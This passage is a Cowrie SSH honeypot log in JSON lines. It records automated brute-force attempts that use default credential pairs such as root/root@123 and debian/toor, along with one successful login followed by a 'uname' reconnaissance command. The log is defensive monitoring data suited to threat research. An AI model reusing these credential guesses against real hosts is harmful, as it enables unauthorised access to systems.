{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:01.727244Z","src_ip":"45.156.87.147","session":"21c457536f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.219.200.1","src_port":54798,"dst_ip":"10.17.0.5","dst_port":22,"session":"21924ab0ea75","protocol":"ssh","message":"New connection: 8.219.200.1:54798 (10.17.0.5:22) [session: 21924ab0ea75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:01.835746Z"}
{"eventid":"cowrie.session.closed","duration":"10.3","message":"Connection lost after 10.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:01.922032Z","src_ip":"91.92.42.227","session":"0d4f49df7754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:04.727835Z","src_ip":"8.219.200.1","session":"21924ab0ea75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":41116,"dst_ip":"10.17.0.5","dst_port":22,"session":"070af7b1590a","protocol":"ssh","message":"New connection: 45.156.87.147:41116 (10.17.0.5:22) [session: 070af7b1590a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:05.812108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:05.815863Z","src_ip":"45.156.87.147","session":"070af7b1590a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:05.898859Z","src_ip":"45.156.87.147","session":"070af7b1590a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"toor","message":"login attempt [debian/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:06.147526Z","src_ip":"45.156.87.147","session":"070af7b1590a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amin","password":"amin","message":"login attempt [amin/amin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:06.364362Z","src_ip":"91.92.42.227","session":"e80a82e7d493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":51998,"dst_ip":"10.17.0.5","dst_port":22,"session":"aba123721c78","protocol":"ssh","message":"New connection: 91.92.42.227:51998 (10.17.0.5:22) [session: aba123721c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:06.944517Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:07.231048Z","src_ip":"45.156.87.147","session":"070af7b1590a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:07.975531Z","src_ip":"91.92.42.227","session":"aba123721c78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:07.979107Z","src_ip":"91.92.42.227","session":"aba123721c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:08.605512Z","src_ip":"91.92.42.227","session":"e80a82e7d493","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38134,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea8ab7090e0e","protocol":"ssh","message":"New connection: 45.156.87.147:38134 (10.17.0.5:22) [session: ea8ab7090e0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:11.630624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:11.634199Z","src_ip":"45.156.87.147","session":"ea8ab7090e0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:11.715624Z","src_ip":"45.156.87.147","session":"ea8ab7090e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx","message":"login attempt [root/!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:11.966888Z","src_ip":"45.156.87.147","session":"ea8ab7090e0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:13.094770Z","src_ip":"45.156.87.147","session":"ea8ab7090e0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root@123","message":"login attempt [root/root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:13.530809Z","src_ip":"91.92.42.227","session":"aba123721c78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:15.240864Z","src_ip":"91.92.42.227","session":"aba123721c78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52078,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c969d72621f","protocol":"ssh","message":"New connection: 91.92.42.227:52078 (10.17.0.5:22) [session: 3c969d72621f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:15.342473Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:15.938917Z","src_ip":"91.92.42.227","session":"3c969d72621f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:15.941635Z","src_ip":"91.92.42.227","session":"3c969d72621f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":38142,"dst_ip":"10.17.0.5","dst_port":22,"session":"e3fd2b87adcd","protocol":"ssh","message":"New connection: 45.156.87.147:38142 (10.17.0.5:22) [session: e3fd2b87adcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:17.289538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:17.293774Z","src_ip":"45.156.87.147","session":"e3fd2b87adcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:17.375655Z","src_ip":"45.156.87.147","session":"e3fd2b87adcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gns3","password":"gns3","message":"login attempt [gns3/gns3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:17.640901Z","src_ip":"45.156.87.147","session":"e3fd2b87adcd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":60870,"dst_ip":"10.17.0.5","dst_port":22,"session":"387d5f97d4d2","protocol":"ssh","message":"New connection: 103.82.132.16:60870 (10.17.0.5:22) [session: 387d5f97d4d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:18.150877Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:18.154649Z","src_ip":"103.82.132.16","session":"387d5f97d4d2","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:18.220891Z","src_ip":"91.92.42.227","session":"3c969d72621f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:18.395013Z","src_ip":"103.82.132.16","session":"387d5f97d4d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:18.725621Z","src_ip":"45.156.87.147","session":"e3fd2b87adcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"07121984","message":"login attempt [root/07121984] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:19.118096Z","src_ip":"103.82.132.16","session":"387d5f97d4d2","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:19.187493Z","src_ip":"91.92.42.227","session":"3c969d72621f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:19.189970Z","src_ip":"91.92.42.227","session":"3c969d72621f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:19.698337Z","src_ip":"91.92.42.227","session":"3c969d72621f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:19.710924Z","src_ip":"91.92.42.227","session":"3c969d72621f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:20.360397Z","src_ip":"103.82.132.16","session":"387d5f97d4d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":37966,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ac4cf164297","protocol":"ssh","message":"New connection: 45.156.87.147:37966 (10.17.0.5:22) [session: 6ac4cf164297]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:23.059223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:23.062948Z","src_ip":"45.156.87.147","session":"6ac4cf164297","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:23.143946Z","src_ip":"45.156.87.147","session":"6ac4cf164297","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52138,"dst_ip":"10.17.0.5","dst_port":22,"session":"5473b64961de","protocol":"ssh","message":"New connection: 91.92.42.227:52138 (10.17.0.5:22) [session: 5473b64961de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:23.288074Z"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud123!","message":"login attempt [cloud/cloud123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:23.392325Z","src_ip":"45.156.87.147","session":"6ac4cf164297","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:06:23.478019Z","src_ip":"91.92.42.227","session":"5473b64961de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openss